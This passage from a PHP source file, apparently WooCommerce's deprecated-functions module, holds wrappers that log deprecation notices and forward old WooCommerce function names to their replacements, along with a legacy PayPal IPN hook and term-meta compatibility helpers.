/**
* Deprecated functions
*
* Where functions come to die.
*
* @author Automattic
* @category Core
* @package WooCommerce\Functions
* @version 3.3.0
*/
use Automattic\Jetpack\Constants;
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Runs a deprecated action with notice only if used.
*
* @since 3.0.0
* @param string $tag The name of the action hook.
* @param array $args Array of additional function arguments to be passed to do_action().
* @param string $version The version of WooCommerce that deprecated the hook.
* @param string $replacement The hook that should have been used.
* @param string $message A message regarding the change.
*/
function wc_do_deprecated_action( $tag, $args, $version, $replacement = null, $message = null ) {
if ( ! has_action( $tag ) ) {
return;
}
wc_deprecated_hook( $tag, $version, $replacement, $message );
do_action_ref_array( $tag, $args );
}
/**
* Wrapper for deprecated functions so we can apply some extra logic.
*
* @since 3.0.0
* @param string $function Function used.
* @param string $version Version the message was added in.
* @param string $replacement Replacement for the called function.
*/
function wc_deprecated_function( $function, $version, $replacement = null ) {
// @codingStandardsIgnoreStart
if ( wp_doing_ajax() || WC()->is_rest_api_request() ) {
do_action( 'deprecated_function_run', $function, $replacement, $version );
$log_string = "The {$function} function is deprecated since version {$version}.";
$log_string .= $replacement ? " Replace with {$replacement}." : '';
error_log( $log_string );
} else {
_deprecated_function( $function, $version, $replacement );
}
// @codingStandardsIgnoreEnd
}
/**
* Wrapper for deprecated hook so we can apply some extra logic.
*
* @since 3.3.0
* @param string $hook The hook that was used.
* @param string $version The version of WordPress that deprecated the hook.
* @param string $replacement The hook that should have been used.
* @param string $message A message regarding the change.
*/
function wc_deprecated_hook( $hook, $version, $replacement = null, $message = null ) {
// @codingStandardsIgnoreStart
if ( wp_doing_ajax() || WC()->is_rest_api_request() ) {
do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
$message = empty( $message ) ? '' : ' ' . $message;
$log_string = "{$hook} is deprecated since version {$version}";
$log_string .= $replacement ? "! Use {$replacement} instead." : ' with no alternative available.';
error_log( $log_string . $message );
} else {
_deprecated_hook( $hook, $version, $replacement, $message );
}
// @codingStandardsIgnoreEnd
}
/**
* When catching an exception, this allows us to log it if unexpected.
*
* @since 3.3.0
* @param Exception $exception_object The exception object.
* @param string $function The function which threw exception.
* @param array $args The args passed to the function.
*/
function wc_caught_exception( $exception_object, $function = '', $args = array() ) {
// @codingStandardsIgnoreStart
$message = $exception_object->getMessage();
$message .= '. Args: ' . print_r( $args, true ) . '.';
do_action( 'woocommerce_caught_exception', $exception_object, $function, $args );
error_log( "Exception caught in {$function}. {$message}." );
// @codingStandardsIgnoreEnd
}
/**
* Wrapper for _doing_it_wrong().
*
* @since 3.0.0
* @param string $function Function used.
* @param string $message Message to log.
* @param string $version Version the message was added in.
*/
function wc_doing_it_wrong( $function, $message, $version ) {
// @codingStandardsIgnoreStart
$message .= ' Backtrace: ' . wp_debug_backtrace_summary();
if ( wp_doing_ajax() || WC()->is_rest_api_request() ) {
do_action( 'doing_it_wrong_run', $function, $message, $version );
error_log( "{$function} was called incorrectly. {$message}. This message was added in version {$version}." );
} else {
_doing_it_wrong( $function, $message, $version );
}
// @codingStandardsIgnoreEnd
}
/**
* Wrapper for deprecated arguments so we can apply some extra logic.
*
* @since 3.0.0
* @param string $argument
* @param string $version
* @param string $replacement
*/
function wc_deprecated_argument( $argument, $version, $message = null ) {
if ( wp_doing_ajax() || WC()->is_rest_api_request() ) {
do_action( 'deprecated_argument_run', $argument, $message, $version );
error_log( "The {$argument} argument is deprecated since version {$version}. {$message}" );
} else {
_deprecated_argument( $argument, $version, $message );
}
}
/**
* @deprecated 2.1
*/
function woocommerce_show_messages() {
wc_deprecated_function( 'woocommerce_show_messages', '2.1', 'wc_print_notices' );
wc_print_notices();
}
/**
* @deprecated 2.1
*/
function woocommerce_weekend_area_js() {
wc_deprecated_function( 'woocommerce_weekend_area_js', '2.1' );
}
/**
* @deprecated 2.1
*/
function woocommerce_tooltip_js() {
wc_deprecated_function( 'woocommerce_tooltip_js', '2.1' );
}
/**
* @deprecated 2.1
*/
function woocommerce_datepicker_js() {
wc_deprecated_function( 'woocommerce_datepicker_js', '2.1' );
}
/**
* @deprecated 2.1
*/
function woocommerce_admin_scripts() {
wc_deprecated_function( 'woocommerce_admin_scripts', '2.1' );
}
/**
* @deprecated 2.1
*/
function woocommerce_create_page( $slug, $option = '', $page_title = '', $page_content = '', $post_parent = 0 ) {
wc_deprecated_function( 'woocommerce_create_page', '2.1', 'wc_create_page' );
return wc_create_page( $slug, $option, $page_title, $page_content, $post_parent );
}
/**
* @deprecated 2.1
*/
function woocommerce_readfile_chunked( $file, $retbytes = true ) {
wc_deprecated_function( 'woocommerce_readfile_chunked', '2.1', 'WC_Download_Handler::readfile_chunked()' );
return WC_Download_Handler::readfile_chunked( $file );
}
/**
* Formal total costs - format to the number of decimal places for the base currency.
*
* @access public
* @param mixed $number
* @deprecated 2.1
* @return string
*/
function woocommerce_format_total( $number ) {
wc_deprecated_function( __FUNCTION__, '2.1', 'wc_format_decimal()' );
return wc_format_decimal( $number, wc_get_price_decimals(), false );
}
/**
* Get product name with extra details such as SKU price and attributes. Used within admin.
*
* @access public
* @param WC_Product $product
* @deprecated 2.1
* @return string
*/
function woocommerce_get_formatted_product_name( $product ) {
wc_deprecated_function( __FUNCTION__, '2.1', 'WC_Product::get_formatted_name()' );
return $product->get_formatted_name();
}
/**
* Handle IPN requests for the legacy paypal gateway by calling gateways manually if needed.
*
* @access public
*/
function woocommerce_legacy_paypal_ipn() {
if ( ! empty( $_GET['paypalListener'] ) && 'paypal_standard_IPN' === $_GET['paypalListener'] ) {
WC()->payment_gateways();
do_action( 'woocommerce_api_wc_gateway_paypal' );
}
}
add_action( 'init', 'woocommerce_legacy_paypal_ipn' );
/**
* @deprecated 3.0
*/
function get_product( $the_product = false, $args = array() ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_product' );
return wc_get_product( $the_product, $args );
}
/**
* @deprecated 3.0
*/
function woocommerce_protected_product_add_to_cart( $passed, $product_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_protected_product_add_to_cart' );
return wc_protected_product_add_to_cart( $passed, $product_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_empty_cart() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_empty_cart' );
wc_empty_cart();
}
/**
* @deprecated 3.0
*/
function woocommerce_load_persistent_cart( $user_login, $user = 0 ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_load_persistent_cart' );
return wc_load_persistent_cart( $user_login, $user );
}
/**
* @deprecated 3.0
*/
function woocommerce_add_to_cart_message( $product_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_add_to_cart_message' );
wc_add_to_cart_message( $product_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_clear_cart_after_payment() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_clear_cart_after_payment' );
wc_clear_cart_after_payment();
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_subtotal_html() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_subtotal_html' );
wc_cart_totals_subtotal_html();
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_shipping_html() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_shipping_html' );
wc_cart_totals_shipping_html();
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_coupon_html( $coupon ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_coupon_html' );
wc_cart_totals_coupon_html( $coupon );
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_order_total_html() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_order_total_html' );
wc_cart_totals_order_total_html();
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_fee_html( $fee ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_fee_html' );
wc_cart_totals_fee_html( $fee );
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_shipping_method_label( $method ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_shipping_method_label' );
return wc_cart_totals_shipping_method_label( $method );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_template_part( $slug, $name = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_template_part' );
wc_get_template_part( $slug, $name );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_template' );
wc_get_template( $template_name, $args, $template_path, $default_path );
}
/**
* @deprecated 3.0
*/
function woocommerce_locate_template( $template_name, $template_path = '', $default_path = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_locate_template' );
return wc_locate_template( $template_name, $template_path, $default_path );
}
/**
* @deprecated 3.0
*/
function woocommerce_mail( $to, $subject, $message, $headers = "Content-Type: text/html\r\n", $attachments = "" ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_mail' );
wc_mail( $to, $subject, $message, $headers, $attachments );
}
/**
* @deprecated 3.0
*/
function woocommerce_disable_admin_bar( $show_admin_bar ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_disable_admin_bar' );
return wc_disable_admin_bar( $show_admin_bar );
}
/**
* @deprecated 3.0
*/
function woocommerce_create_new_customer( $email, $username = '', $password = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_create_new_customer' );
return wc_create_new_customer( $email, $username, $password );
}
/**
* @deprecated 3.0
*/
function woocommerce_set_customer_auth_cookie( $customer_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_set_customer_auth_cookie' );
wc_set_customer_auth_cookie( $customer_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_update_new_customer_past_orders( $customer_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_update_new_customer_past_orders' );
return wc_update_new_customer_past_orders( $customer_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_paying_customer( $order_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_paying_customer' );
wc_paying_customer( $order_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_customer_bought_product( $customer_email, $user_id, $product_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_customer_bought_product' );
return wc_customer_bought_product( $customer_email, $user_id, $product_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_customer_has_capability( $allcaps, $caps, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_customer_has_capability' );
return wc_customer_has_capability( $allcaps, $caps, $args );
}
/**
* @deprecated 3.0
*/
function woocommerce_sanitize_taxonomy_name( $taxonomy ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_sanitize_taxonomy_name' );
return wc_sanitize_taxonomy_name( $taxonomy );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_filename_from_url( $file_url ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_filename_from_url' );
return wc_get_filename_from_url( $file_url );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_dimension( $dim, $to_unit ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_dimension' );
return wc_get_dimension( $dim, $to_unit );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_weight( $weight, $to_unit ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_weight' );
return wc_get_weight( $weight, $to_unit );
}
/**
* @deprecated 3.0
*/
function woocommerce_trim_zeros( $price ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_trim_zeros' );
return wc_trim_zeros( $price );
}
/**
* @deprecated 3.0
*/
function woocommerce_round_tax_total( $tax ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_round_tax_total' );
return wc_round_tax_total( $tax );
}
/**
* @deprecated 3.0
*/
function woocommerce_format_decimal( $number, $dp = false, $trim_zeros = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_format_decimal' );
return wc_format_decimal( $number, $dp, $trim_zeros );
}
/**
* @deprecated 3.0
*/
function woocommerce_clean( $var ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_clean' );
return wc_clean( $var );
}
/**
* @deprecated 3.0
*/
function woocommerce_array_overlay( $a1, $a2 ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_array_overlay' );
return wc_array_overlay( $a1, $a2 );
}
/**
* @deprecated 3.0
*/
function woocommerce_price( $price, $args = array() ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_price' );
return wc_price( $price, $args );
}
/**
* @deprecated 3.0
*/
function woocommerce_let_to_num( $size ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_let_to_num' );
return wc_let_to_num( $size );
}
/**
* @deprecated 3.0
*/
function woocommerce_date_format() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_date_format' );
return wc_date_format();
}
/**
* @deprecated 3.0
*/
function woocommerce_time_format() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_time_format' );
return wc_time_format();
}
/**
* @deprecated 3.0
*/
function woocommerce_timezone_string() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_timezone_string' );
return wc_timezone_string();
}
if ( ! function_exists( 'woocommerce_rgb_from_hex' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_rgb_from_hex( $color ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_rgb_from_hex' );
return wc_rgb_from_hex( $color );
}
}
if ( ! function_exists( 'woocommerce_hex_darker' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_hex_darker( $color, $factor = 30 ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_hex_darker' );
return wc_hex_darker( $color, $factor );
}
}
if ( ! function_exists( 'woocommerce_hex_lighter' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_hex_lighter( $color, $factor = 30 ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_hex_lighter' );
return wc_hex_lighter( $color, $factor );
}
}
if ( ! function_exists( 'woocommerce_light_or_dark' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_light_or_dark( $color, $dark = '#000000', $light = '#FFFFFF' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_light_or_dark' );
return wc_light_or_dark( $color, $dark, $light );
}
}
if ( ! function_exists( 'woocommerce_format_hex' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_format_hex( $hex ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_format_hex' );
return wc_format_hex( $hex );
}
}
/**
* @deprecated 3.0
*/
function woocommerce_get_order_id_by_order_key( $order_key ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_order_id_by_order_key' );
return wc_get_order_id_by_order_key( $order_key );
}
/**
* @deprecated 3.0
*/
function woocommerce_downloadable_file_permission( $download_id, $product_id, $order ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_downloadable_file_permission' );
return wc_downloadable_file_permission( $download_id, $product_id, $order );
}
/**
* @deprecated 3.0
*/
function woocommerce_downloadable_product_permissions( $order_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_downloadable_product_permissions' );
wc_downloadable_product_permissions( $order_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_add_order_item( $order_id, $item ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_add_order_item' );
return wc_add_order_item( $order_id, $item );
}
/**
* @deprecated 3.0
*/
function woocommerce_delete_order_item( $item_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_delete_order_item' );
return wc_delete_order_item( $item_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_update_order_item_meta( $item_id, $meta_key, $meta_value, $prev_value = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_update_order_item_meta' );
return wc_update_order_item_meta( $item_id, $meta_key, $meta_value, $prev_value );
}
/**
* @deprecated 3.0
*/
function woocommerce_add_order_item_meta( $item_id, $meta_key, $meta_value, $unique = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_add_order_item_meta' );
return wc_add_order_item_meta( $item_id, $meta_key, $meta_value, $unique );
}
/**
* @deprecated 3.0
*/
function woocommerce_delete_order_item_meta( $item_id, $meta_key, $meta_value = '', $delete_all = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_delete_order_item_meta' );
return wc_delete_order_item_meta( $item_id, $meta_key, $meta_value, $delete_all );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_order_item_meta( $item_id, $key, $single = true ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_order_item_meta' );
return wc_get_order_item_meta( $item_id, $key, $single );
}
/**
* @deprecated 3.0
*/
function woocommerce_cancel_unpaid_orders() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cancel_unpaid_orders' );
wc_cancel_unpaid_orders();
}
/**
* @deprecated 3.0
*/
function woocommerce_processing_order_count() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_processing_order_count' );
return wc_processing_order_count();
}
/**
* @deprecated 3.0
*/
function woocommerce_get_page_id( $page ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_page_id' );
return wc_get_page_id( $page );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_endpoint_url( $endpoint, $value = '', $permalink = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_endpoint_url' );
return wc_get_endpoint_url( $endpoint, $value, $permalink );
}
/**
* @deprecated 3.0
*/
function woocommerce_lostpassword_url( $url ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_lostpassword_url' );
return wc_lostpassword_url( $url );
}
/**
* @deprecated 3.0
*/
function woocommerce_customer_edit_account_url() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_customer_edit_account_url' );
return wc_customer_edit_account_url();
}
/**
* @deprecated 3.0
*/
function woocommerce_nav_menu_items( $items, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_nav_menu_items' );
return wc_nav_menu_items( $items );
}
/**
* @deprecated 3.0
*/
function woocommerce_nav_menu_item_classes( $menu_items, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_nav_menu_item_classes' );
return wc_nav_menu_item_classes( $menu_items );
}
/**
* @deprecated 3.0
*/
function woocommerce_list_pages( $pages ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_list_pages' );
return wc_list_pages( $pages );
}
/**
* @deprecated 3.0
*/
function woocommerce_product_dropdown_categories( $args = array(), $deprecated_hierarchical = 1, $deprecated_show_uncategorized = 1, $deprecated_orderby = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_product_dropdown_categories' );
return wc_product_dropdown_categories( $args, $deprecated_hierarchical, $deprecated_show_uncategorized, $deprecated_orderby );
}
/**
* @deprecated 3.0
*/
function woocommerce_walk_category_dropdown_tree( $a1 = '', $a2 = '', $a3 = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_walk_category_dropdown_tree' );
return wc_walk_category_dropdown_tree( $a1, $a2, $a3 );
}
/**
* @deprecated 3.0
*/
function woocommerce_taxonomy_metadata_wpdbfix() {
wc_deprecated_function( __FUNCTION__, '3.0' );
}
/**
* @deprecated 3.0
*/
function wc_taxonomy_metadata_wpdbfix() {
wc_deprecated_function( __FUNCTION__, '3.0' );
}
/**
* @deprecated 3.0
*/
function woocommerce_order_terms( $the_term, $next_id, $taxonomy, $index = 0, $terms = null ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_reorder_terms' );
return wc_reorder_terms( $the_term, $next_id, $taxonomy, $index, $terms );
}
/**
* @deprecated 3.0
*/
function woocommerce_set_term_order( $term_id, $index, $taxonomy, $recursive = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_set_term_order' );
return wc_set_term_order( $term_id, $index, $taxonomy, $recursive );
}
/**
* @deprecated 3.0
*/
function woocommerce_terms_clauses( $clauses, $taxonomies, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_terms_clauses' );
return wc_terms_clauses( $clauses, $taxonomies, $args );
}
/**
* @deprecated 3.0
*/
function _woocommerce_term_recount( $terms, $taxonomy, $callback, $terms_are_term_taxonomy_ids ) {
wc_deprecated_function( __FUNCTION__, '3.0', '_wc_term_recount' );
return _wc_term_recount( $terms, $taxonomy, $callback, $terms_are_term_taxonomy_ids );
}
/**
* @deprecated 3.0
*/
function woocommerce_recount_after_stock_change( $product_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_recount_after_stock_change' );
return wc_recount_after_stock_change( $product_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_change_term_counts( $terms, $taxonomies, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_change_term_counts' );
return wc_change_term_counts( $terms, $taxonomies );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_product_ids_on_sale() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_product_ids_on_sale' );
return wc_get_product_ids_on_sale();
}
/**
* @deprecated 3.0
*/
function woocommerce_get_featured_product_ids() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_featured_product_ids' );
return wc_get_featured_product_ids();
}
/**
* @deprecated 3.0
*/
function woocommerce_get_product_terms( $object_id, $taxonomy, $fields = 'all' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_product_terms' );
return wc_get_product_terms( $object_id, $taxonomy, array( 'fields' => $fields ) );
}
/**
* @deprecated 3.0
*/
function woocommerce_product_post_type_link( $permalink, $post ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_product_post_type_link' );
return wc_product_post_type_link( $permalink, $post );
}
/**
* @deprecated 3.0
*/
function woocommerce_placeholder_img_src() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_placeholder_img_src' );
return wc_placeholder_img_src();
}
/**
* @deprecated 3.0
*/
function woocommerce_placeholder_img( $size = 'woocommerce_thumbnail' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_placeholder_img' );
return wc_placeholder_img( $size );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_formatted_variation( $variation = '', $flat = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_formatted_variation' );
return wc_get_formatted_variation( $variation, $flat );
}
/**
* @deprecated 3.0
*/
function woocommerce_scheduled_sales() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_scheduled_sales' );
return wc_scheduled_sales();
}
/**
* @deprecated 3.0
*/
function woocommerce_get_attachment_image_attributes( $attr ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_attachment_image_attributes' );
return wc_get_attachment_image_attributes( $attr );
}
/**
* @deprecated 3.0
*/
function woocommerce_prepare_attachment_for_js( $response ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_prepare_attachment_for_js' );
return wc_prepare_attachment_for_js( $response );
}
/**
* @deprecated 3.0
*/
function woocommerce_track_product_view() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_track_product_view' );
return wc_track_product_view();
}
/**
* @deprecated 2.3 has no replacement
*/
function woocommerce_compile_less_styles() {
wc_deprecated_function( 'woocommerce_compile_less_styles', '2.3' );
}
/**
* woocommerce_calc_shipping was an option used to determine if shipping was enabled prior to version 2.6.0. This has since been replaced with wc_shipping_enabled() function and
* the woocommerce_ship_to_countries setting.
* @deprecated 2.6.0
* @return string
*/
function woocommerce_calc_shipping_backwards_compatibility( $value ) {
if ( Constants::is_defined( 'WC_UPDATING' ) ) {
return $value;
}
return 'disabled' === get_option( 'woocommerce_ship_to_countries' ) ? 'no' : 'yes';
}
add_filter( 'pre_option_woocommerce_calc_shipping', 'woocommerce_calc_shipping_backwards_compatibility' );
/**
* @deprecated 3.0.0
* @see WC_Structured_Data class
*
* @return string
*/
function woocommerce_get_product_schema() {
wc_deprecated_function( 'woocommerce_get_product_schema', '3.0' );
global $product;
$schema = "Product";
// Downloadable product schema handling
if ( $product->is_downloadable() ) {
switch ( $product->download_type ) {
case 'application' :
$schema = "SoftwareApplication";
break;
case 'music' :
$schema = "MusicAlbum";
break;
default :
$schema = "Product";
break;
}
}
return 'http://schema.org/' . $schema;
}
/**
* Save product price.
*
* This is a private function (internal use ONLY) used until a data manipulation api is built.
*
* @deprecated 3.0.0
* @param int $product_id
* @param float $regular_price
* @param float $sale_price
* @param string $date_from
* @param string $date_to
*/
function _wc_save_product_price( $product_id, $regular_price, $sale_price = '', $date_from = '', $date_to = '' ) {
wc_doing_it_wrong( '_wc_save_product_price()', 'This function is not for developer use and is deprecated.', '3.0' );
$product_id = absint( $product_id );
$regular_price = wc_format_decimal( $regular_price );
$sale_price = '' === $sale_price ? '' : wc_format_decimal( $sale_price );
$date_from = wc_clean( $date_from );
$date_to = wc_clean( $date_to );
update_post_meta( $product_id, '_regular_price', $regular_price );
update_post_meta( $product_id, '_sale_price', $sale_price );
// Save Dates
update_post_meta( $product_id, '_sale_price_dates_from', $date_from ? strtotime( $date_from ) : '' );
update_post_meta( $product_id, '_sale_price_dates_to', $date_to ? strtotime( $date_to ) : '' );
if ( $date_to && ! $date_from ) {
$date_from = strtotime( 'NOW', current_time( 'timestamp' ) );
update_post_meta( $product_id, '_sale_price_dates_from', $date_from );
}
// Update price if on sale
if ( '' !== $sale_price && '' === $date_to && '' === $date_from ) {
update_post_meta( $product_id, '_price', $sale_price );
} else {
update_post_meta( $product_id, '_price', $regular_price );
}
if ( '' !== $sale_price && $date_from && strtotime( $date_from ) < strtotime( 'NOW', current_time( 'timestamp' ) ) ) {
update_post_meta( $product_id, '_price', $sale_price );
}
if ( $date_to && strtotime( $date_to ) < strtotime( 'NOW', current_time( 'timestamp' ) ) ) {
update_post_meta( $product_id, '_price', $regular_price );
update_post_meta( $product_id, '_sale_price_dates_from', '' );
update_post_meta( $product_id, '_sale_price_dates_to', '' );
}
}
/**
* Return customer avatar URL.
*
* @deprecated 3.1.0
* @since 2.6.0
* @param string $email the customer's email.
* @return string the URL to the customer's avatar.
*/
function wc_get_customer_avatar_url( $email ) {
// Deprecated in favor of WordPress get_avatar_url() function.
wc_deprecated_function( 'wc_get_customer_avatar_url()', '3.1', 'get_avatar_url()' );
return get_avatar_url( $email );
}
/**
* WooCommerce Core Supported Themes.
*
* @deprecated 3.3.0
* @since 2.2
* @return string[]
*/
function wc_get_core_supported_themes() {
wc_deprecated_function( 'wc_get_core_supported_themes()', '3.3' );
return array( 'twentyseventeen', 'twentysixteen', 'twentyfifteen', 'twentyfourteen', 'twentythirteen', 'twentyeleven', 'twentytwelve', 'twentyten' );
}
/**
* Get min/max price meta query args.
*
* @deprecated 3.6.0
* @since 3.0.0
* @param array $args Min price and max price arguments.
* @return array
*/
function wc_get_min_max_price_meta_query( $args ) {
wc_deprecated_function( 'wc_get_min_max_price_meta_query()', '3.6' );
$current_min_price = isset( $args['min_price'] ) ? floatval( $args['min_price'] ) : 0;
$current_max_price = isset( $args['max_price'] ) ? floatval( $args['max_price'] ) : PHP_INT_MAX;
return apply_filters(
'woocommerce_get_min_max_price_meta_query',
array(
'key' => '_price',
'value' => array( $current_min_price, $current_max_price ),
'compare' => 'BETWEEN',
'type' => 'DECIMAL(10,' . wc_get_price_decimals() . ')',
),
$args
);
}
/**
* When a term is split, ensure meta data maintained.
*
* @deprecated 3.6.0
* @param int $old_term_id Old term ID.
* @param int $new_term_id New term ID.
* @param string $term_taxonomy_id Term taxonomy ID.
* @param string $taxonomy Taxonomy.
*/
function wc_taxonomy_metadata_update_content_for_split_terms( $old_term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) {
wc_deprecated_function( 'wc_taxonomy_metadata_update_content_for_split_terms', '3.6' );
}
/**
* WooCommerce Term Meta API.
*
* WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table.
* This function serves as a wrapper, using the new table if present, or falling back to the WC table.
*
* @deprecated 3.6.0
* @param int $term_id Term ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value.
* @param string $prev_value Previous value. (default: '').
* @return bool
*/
function update_woocommerce_term_meta( $term_id, $meta_key, $meta_value, $prev_value = '' ) {
wc_deprecated_function( 'update_woocommerce_term_meta', '3.6', 'update_term_meta' );
return function_exists( 'update_term_meta' ) ? update_term_meta( $term_id, $meta_key, $meta_value, $prev_value ) : update_metadata( 'woocommerce_term', $term_id, $meta_key, $meta_value, $prev_value );
}
/**
* WooCommerce Term Meta API.
*
* WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table.
* This function serves as a wrapper, using the new table if present, or falling back to the WC table.
*
* @deprecated 3.6.0
* @param int $term_id Term ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value.
* @param bool $unique Make meta key unique. (default: false).
* @return bool
*/
function add_woocommerce_term_meta( $term_id, $meta_key, $meta_value, $unique = false ) {
wc_deprecated_function( 'add_woocommerce_term_meta', '3.6', 'add_term_meta' );
return function_exists( 'add_term_meta' ) ? add_term_meta( $term_id, $meta_key, $meta_value, $unique ) : add_metadata( 'woocommerce_term', $term_id, $meta_key, $meta_value, $unique );
}
/**
* WooCommerce Term Meta API
*
* WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table.
* This function serves as a wrapper, using the new table if present, or falling back to the WC table.
*
* @deprecated 3.6.0
* @param int $term_id Term ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value (default: '').
* @param bool $deprecated Deprecated param (default: false).
* @return bool
*/
function delete_woocommerce_term_meta( $term_id, $meta_key, $meta_value = '', $deprecated = false ) {
wc_deprecated_function( 'delete_woocommerce_term_meta', '3.6', 'delete_term_meta' );
